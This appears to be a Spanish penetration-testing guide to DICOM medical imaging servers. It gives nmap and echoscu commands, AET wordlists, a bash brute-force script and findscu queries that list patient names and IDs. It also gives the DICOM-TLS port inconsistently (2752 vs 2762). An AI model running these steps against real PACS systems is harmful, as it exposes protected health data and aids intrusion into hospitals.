# DICOM / DICOM-TLS

> DICOM® — Imágenes y Comunicaciones Digitales en Medicina — es *el* Estándar internacional para imágenes médicas e información relacionada. Define los formatos de imágenes médicas que pueden intercambiarse con los datos y la calidad necesarios para el uso clínico.

<table data-header-hidden><thead><tr><th width="178"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>104 y 11112 (DICOM) </p><p>2752 (DICOM-TLS)</p></td></tr><tr><td><strong>Protocolo</strong></td><td>TCP</td></tr></tbody></table>

## <mark style="color:$primary;">Introducción</mark>

* Origen: Desarrollado inicialmente por el ACR (American College of Radiology) y NEMA (National Electrical Manufacturers Association).
* Mantenimiento: Actualmente gestionado por la Medical Imaging & Technology Alliance (MITA).
* Especificaciones: Definido formalmente en el DICOM Standard y resumido en la RFC 3240.

### Arquitectura

DICOM opera bajo un modelo cliente-servidor basado en roles negociados:

* AE (Application Entity): Cualquier dispositivo o software capaz de procesar datos DICOM.
  * SCU (Service Class User): El cliente; el dispositivo que solicita un servicio.
  * SCP (Service Class Provider): El servidor; el dispositivo que proporciona el servicio (típicamente un servidor PACS).
* PACS (Picture Archiving and Communication Systems): Servidores dedicados que escuchan peticiones DICOM.

### Conceptos clave

#### Application Entity Title (AET)

Es un identificador sensible a mayúsculas que especifica el origen o destino de un mensaje.

* Debilidad de seguridad: Aunque se usa como control de acceso, no es un método de autenticación fuerte. A menudo son predecibles o están mal configurados, permitiendo ataques de suplantación de identidad (impersonation).

#### IOD (Information Object Definitions)

Colecciones de atributos que representan objetos reales (ej. un Paciente). Contienen PHI (Protected Health Information) crítica como:

* Nombre e ID del paciente.
* Fecha de nacimiento y sexo.
* Datos sensibles como el nombre de la madre.

#### Jerarquía de Datos DICOM

La información se organiza en cuatro niveles lógicos:

1. Paciente: Nivel superior (un paciente puede tener varios estudios).
2. Estudio: Colección de series relacionadas.
3. Serie: Grupo de imágenes vinculadas.
4. Imágenes: El archivo individual de datos médicos.

#### SOP (Service-Object Pair) y DIMSE

* SOP: La unión de un IOD con un servicio específico (define las reglas de uso).
* DIMSE (DICOM Message Service Element): Son los comandos u operaciones.
  * C-STORE: Almacenamiento de datos.
  * C-FIND: Búsqueda/Consulta de información.
  * C-MOVE / C-GET: Recuperación y transferencia de imágenes.

### El proceso de asociación

La Asociación es el "apretón de manos" (handshake) obligatorio al inicio de cualquier conexión DICOM. En esta fase se intercambian:

* Títulos de AE (AET).
* Información de usuario.
* Servicios solicitados vs. disponibles.

Mensajes de Asociación:

* `A-Associate-RQ`: Solicitud del SCU.
* `A-Associate-AC`: Aceptación del SCP.
* `A-Associate-RJ`: Rechazo del SCP.

## <mark style="color:$primary;">Vectores de ataque comunes</mark>

La complejidad del protocolo DICOM genera múltiples vectores de ataque si la administración no es rigurosa:

* **Intercepción de PHI:** Debido a que el tráfico por defecto es en texto plano (puerto 104), los datos médicos pueden ser capturados mediante sniffing en redes no segmentadas.
* **Exfiltración de Metadatos:** El uso de comandos `C-FIND` con AETs descubiertos permite listar bases de datos completas de pacientes.
* **Suplantación de Identidad:** Si un atacante descubre un AET confiable (mediante fuerza bruta o archivos de configuración), puede impersonar una modalidad médica para extraer imágenes mediante `C-GET`.
* **Compromiso del Sistema:** Despliegues inseguros con puertos abiertos y sin TLS pueden servir como punto de entrada para el compromiso total del servidor PACS y, posteriormente, el pivotaje hacia el dominio de Active Directory de la organización de salud.

## <mark style="color:$primary;">Reconocimiento y enumeración</mark>

El objetivo en esta fase es mapear la arquitectura médica, identificar nodos críticos (PACS, Modalidades, Estaciones de trabajo) y descubrir identificadores de entidad (AET) válidos que permitan la comunicación con el servicio.

### Identificación de Servicios y Software

El primer paso es detectar puertos abiertos y determinar si el servidor implementa el estándar básico (texto plano) o DICOM-TLS (cifrado).

<table data-header-hidden><thead><tr><th width="149.44439697265625">Puerto Común</th><th width="211.00006103515625">Servicio</th><th>Notas</th></tr></thead><tbody><tr><td>104</td><td>DICOM Estándar</td><td>Puerto oficial por defecto.</td></tr><tr><td>11112</td><td>DCM4CHEE / Genérico</td><td>Muy común en implementaciones open-source.</td></tr><tr><td>4242</td><td>Orthanc</td><td>Puerto por defecto del servidor Orthanc.</td></tr><tr><td>2762</td><td>DICOM-TLS</td><td>Puerto estándar para conexiones seguras.</td></tr></tbody></table>

Utiliza scripts de enumeración para verificar si el puerto realmente aloja un proveedor de servicios DICOM:

```bash
nmap -p 104,11112,4242,2762 -sV --script dicom-ping <IP>
```

```
PORT      STATE     SERVICE     VERSION
104/tcp   open      dicom
| dicom-ping:
|     dicom: DICOM Service Provider discovered!
|_    config: Called AET check enabled
2762/tcp  open ssl/dicom-tls?
|_dicom-ping: ERROR: Script execution failed (use -d to debug)
4242/tcp  filtered vrml-multi-use
11112/tcp open dicom
| dicom-ping:
|     dicom: DICOM Service Provider discovered!
|_    config: Called AET check enabled
```

### Enumeración de identificadores

DICOM no utiliza credenciales tradicionales (usuario/contraseña). En su lugar, utiliza Application Entity Titles (AET). Estos son identificadores de nodo (generalmente en mayúsculas) que actúan como "nombres de buzón".

* Called AE Title (AEC): El nombre del servidor al que intentas conectar.
* Calling AE Title (AET): Tu nombre como cliente (a veces el servidor también lo valida).

#### Instalación de herramientas (DCMTK)

```bash
sudo apt install dcmtk
```

#### Descubrimiento del AET del Servidor (Called AET)

Muchos servidores rechazan la asociación si el `Called AET` es incorrecto. Si el escaneo de Nmap indicó que el chequeo está habilitado, utiliza `echoscu` para probar nombres comunes:

```bash
# Intentar adivinar el AET del servidor (Called AE Title)
echoscu -v -aec PACS <IP> 104
echoscu -v -aec ORTHANC <IP> 104
```

<details>

<summary>Lista de posibles AET de servidor (Documentación oficial)</summary>

```
DCM4CHEE
ORTHANC
PACS
SERVER
ANY-SCP
CONQUESTSRV1
DEFAULTSCP
IMAGE_SERVER
RIS
AE_ARCHIVE
ARCHIVE
DCMTK_STORAGE
DICOM_SERVER
DICOM_STORAGE
GE_PACS
SIEMENS_PACS
PHILIPS_PACS
AGFA_PACS
KODAK_PACS
RAD_STATION
MED_DATA
STORE_SCP
QUERY_RETRIEVE
MODALITY
WORKLIST
ECHO_TEST
```

</details>

<details>

<summary>Lista de posibles AET de servidor (No documentados oficialmente)</summary>

```
# AET habituales, pero no oficiales

PACS_SERVER
PACS_SCP
PACS_SCU
PACS_ARCHIVE
PACS1
PACS2
ARCHIVE
ARCHIVESCP
DICOM
DICOM_SCP
DICOM_SCU
DICOM_SRV
DICOM_SERVER
DICOM_PACS
DCM_SCP
DCM_SRV
DICOM_GATEWAY

ORTHANC1
ORTHANC2
ORTHANC-PROD
ORTHANC-DEV
ORTHANC-QA

CONQUEST
CONQUEST_PACS

IMGSRV
IMG_SERVER
IMAGE_SERVER1
IMAGE_SERVER2

RAD_SERVER
RADSRV
RAD_PACS

CT
CT1
CT2
CT01
CT02
CT_SCANNER
CT_SCN
CT-SCP

MRI
MRI1
MRI2
MR1
MR2
MRISCANNER
MR_SCANNER

US
US1
US2
US_SERVER
US-SCP

XRAY
XRAY1
XRAY2
CR
CR1
DR
DR1
NUC
PET
PETCT
SPECT

MODALITY
MOD1
MOD2

WORKSTATION
WORKSTATION1
WORKSTATION2
WS
WS1
WS2
VIEWER
VIEWER1
VIEWER2

QRSCP
QR_SCP
STORESCP
STORE_SCU
STORE1
STORE2

SERVER
SERVER1
SERVER2
SRV01
SRV02
SRV03
NODE1
NODE2
NODE3

GATEWAY
GATEWAY1
ROUTER
ROUTER1
PROXY
PROXY1

RIS
RIS_SERVER
HIS
HIS_SERVER

HOSPITAL
HOSPITAL_PACS
CLINIC
CLINIC_PACS
CENTER
CENTER_PACS

BACKUP
BACKUP_PACS
ARCHIVE1
ARCHIVE2

TEST
TESTPACS
TEST_SCP
DEV
DEV_PACS
QA
QA_PACS
PROD
PROD_PACS
```

</details>

La enumeración se puede automatizar realizando un ataque de fuerza bruta. Dado que no se trata de una autenticación per se, no hay límite de intentos de conexión exitosa, y por lo tanto, no habría riesgo de bloquear el acceso.&#x20;

Este script automatiza el envío de mensajes de verificación (`C-ECHO`) utilizando la herramienta `echoscu` de la suite DCMTK. Para evitar saturar el servicio, el script cuenta con un *sleep* que podrá habilitarse o deshabilitarse cuando se desee:

[#ataque-de-fuerza-bruta-aet-de-aec](#ataque-de-fuerza-bruta-aet-de-aec "mention")

#### Descubrimiento del AET del Cliente (Calling AET)

Si el servidor también valida quién lo llama, deberás adivinar un nombre de cliente autorizado (ej. el nombre de una estación de trabajo conocida):

```bash
echoscu -v -aet WORKSTATION -aec PACS <IP> 104 -v
```

### Enumeración de PHI (C-FIND)

El objetivo de este paso es consultar la base de datos del servidor DICOM para extraer metadatos de pacientes, estudios y series médicas sin necesidad de una cuenta de usuario tradicional del dominio.

En DICOM, el comando `C-FIND` permite realizar búsquedas jerárquicas. El éxito de esta prueba confirma que el servidor no implementa controles de autorización adicionales más allá del nombre del AET.

<table data-header-hidden><thead><tr><th width="158">Nivel de Consulta</th><th>Información Obtenida</th></tr></thead><tbody><tr><td>PATIENT</td><td>Nombres, IDs de paciente, fechas de nacimiento.</td></tr><tr><td>STUDY</td><td>Fechas de estudios, descripciones médicas, IDs de estudio.</td></tr><tr><td>SERIES</td><td>Modalidades usadas (CT, MR, RX), descripciones de series.</td></tr></tbody></table>

#### Ejecución con `findscu` (DCMTK)

Utilizaremos la herramienta `findscu`. Para que la consulta sea efectiva, debemos enviar etiquetas DICOM vacías (atributos) que el servidor debe "rellenar" en su respuesta.

**A. Enumeración de todos los pacientes**

Este comando solicita al servidor que devuelva el nombre y el ID de todos los pacientes registrados.

```bash
findscu -v -P -k "0010,0010" -k "0010,0020" -aec <AET_OBJETIVO> <IP> <PUERTO>
```

* `-P`: Establece el modelo de información a nivel de Paciente.
* `-k "0010,0010"`: Etiqueta para *PatientName*.
* `-k "0010,0020"`: Etiqueta para *PatientID*.

**B. Búsqueda de estudios por ID de paciente**

```bash
findscu -v -S -k "0010,0020=<ID_PACIENTE>" -k "0008,1030" -aec <AET_OBJETIVO> <IP> <PUERTO>
```

* `-S`: Nivel de consulta de Estudio (*Study*).
* `-k "0008,1030"`: Etiqueta para *StudyDescription*.

## <mark style="color:$primary;">Ataques</mark>

### Ataque de fuerza bruta AET de AEC

Esta sección detalla la metodología para realizar ataques de fuerza bruta contra el Called AE Title (AEC) en infraestructuras médicas. En entornos DICOM, el AEC actúa como un identificador de destino; si el servidor (SCP) tiene habilitada la verificación de este título, rechazará cualquier intento de conexión que no utilice un nombre válido.

Para maximizar la eficiencia y reducir el ruido en los logs, se recomienda una estrategia en dos fases:

* Usa primero la **lista documentada** como base mínima (menos ruido). [#lista-de-posibles-aet-de-servidor-documentacion-oficial](#lista-de-posibles-aet-de-servidor-documentacion-oficial "mention")
* Añade después la lista “no oficial” ajustada con nombres propios del cliente (nombre del hospital, acrónimos internos, dominio AD, etc.), que suele dar muchos más aciertos reales. [#lista-de-posibles-aet-de-servidor-no-documentados-oficialmente](#lista-de-posibles-aet-de-servidor-no-documentados-oficialmente "mention")

Este script automatiza el envío de mensajes de verificación (`C-ECHO`) utilizando la herramienta `echoscu` de la suite DCMTK.

Guarda este código como `brute_called_aet.sh` y dale permisos de ejecución con `chmod +x brute_called_aet.sh:`

<details>

<summary>brute_called_aet.sh</summary>

```bash
#!/bin/bash

# Comprobar si se pasaron los argumentos necesarios
if [ "$#" -ne 3 ]; then
    echo -e "\e[33mUso: $0 <IP> <PUERTO> <LISTA_AET.TXT>\e[0m"
    exit 1
fi

IP_TARGET=$1
PORT_TARGET=$2
AET_FILE=$3

# Verificar si el archivo de candidatos existe
if [ ! -f "$AET_FILE" ]; then
    echo -e "\e[31m[-] Error: El archivo '$AET_FILE' no existe.\e[0m"
    exit 1
fi

# Verificar si echoscu está instalado
if ! command -v echoscu &> /dev/null; then
    echo -e "\e[31m[-] Error: 'echoscu' (DCMTK) no está instalado.\e[0m"
    exit 1
fi

echo "----------------------------------------------------------"
echo "Iniciando Brute Force de AET contra $IP_TARGET:$PORT_TARGET"
echo "Archivo de candidatos: $AET_FILE"
echo "----------------------------------------------------------"

# Leer el archivo línea por línea
while IFS= read -r aet || [ -n "$aet" ]; do
    # Limpiar espacios en blanco o caracteres extraños
    aet=$(echo "$aet" | tr -d '\r' | xargs)
    
    # Saltar líneas vacías
    [[ -z "$aet" ]] && continue

    echo -n "[*] Probando AET: $aet ... "
    
    # Ejecución de echoscu
    # -aec: Called AE Title
    # Redirigimos stderr a stdout para procesar la respuesta
    RESULT=$(echoscu -v -aec "$aet" "$IP_TARGET" "$PORT_TARGET" 2>&1)

    if echo "$RESULT" | grep -q "Association Accepted"; then
        echo -e "\e[32m[+] ¡ACEPTADA!\e[0m"
        echo -e "\n\e[1;32m[!!!] AET VÁLIDO ENCONTRADO: $aet\e[0m\n"
        # Opcional: Detener el script si solo buscas uno
        # exit 0
    elif echo "$RESULT" | grep -q "Association Rejected"; then
        echo -e "\e[31m[-] Rechazada\e[0m"
    elif echo "$RESULT" | grep -q "Failed to establish association"; then
        echo -e "\e[33m[!] Error de red/AET incorrecto\e[0m"
    else
        echo -e "\e[35m[?] Resultado inesperado\e[0m"
    fi
done < "$AET_FILE"

echo "----------------------------------------------------------"
echo "Prueba finalizada."
```

</details>

El script busca la cadena "Association Accepted". Esto indica que el servidor ha validado que el nombre que enviamos (`-aec`) coincide con su configuración interna o que el servidor está configurado en modo promiscuo (acepta cualquier AET).

```bash
./brute_called_aet.sh 192.168.1.100 104 called_aet.txt
```

## <mark style="color:$primary;">Referencias</mark>

* [https://www.ioactive.com/penetration-testing-of-the-dicom-protocol-real-world-attacks](https://www.ioactive.com/penetration-testing-of-the-dicom-protocol-real-world-attacks/)
* <https://medium.com/@pasknel/how-i-got-into-hacking-ultrasound-machines-part-01-432fce2e3ca7>
* <https://medium.com/@pasknel/how-i-got-into-hacking-ultrasound-machines-part-02-3b16b799974c>
* <https://claroty.com/team82/research/dicom-demystified-exploring-the-underbelly-of-medical-imaging>
* <https://github.com/sdnewhop/dicom>
* <https://sdnewhop.github.io/AISec/slides/zn-2019-hm.pdf>
